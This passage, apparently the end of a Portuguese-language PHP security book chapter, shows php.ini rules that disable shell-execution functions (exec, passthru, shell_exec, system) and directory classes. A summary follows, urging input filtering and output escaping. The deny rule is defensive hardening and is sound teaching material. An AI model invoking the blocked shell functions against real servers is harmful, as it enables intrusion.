disable_functions = exec,passthru,shell_exec,system
; Disable classes
disable_classes = DirectoryIterator,Directory
```

# Sumário

Este capítulo cobriu alguns dos mais comuns ataques encarados por aplicações Web e ilustrou como você pode proteger suas aplicações contra algumas das mais comuns variações – ou, ao menos, mitigar sua ocorrência.
Apesar dos muitos modos de suas aplicações poderem sofrer ataques, quatro simples palavras podem constituir a amioria das soluções para problemas de segurança em aplicações Web (embora não todas): filtrar entrada, tratar saída. Implementar essas melhores práticas de segurança permite a você fazer uso do grande poder fornecido pelo PHP, enquanto reduz o poder disponível para potenciais atacantes. Entretanto a responsabilidade é sua.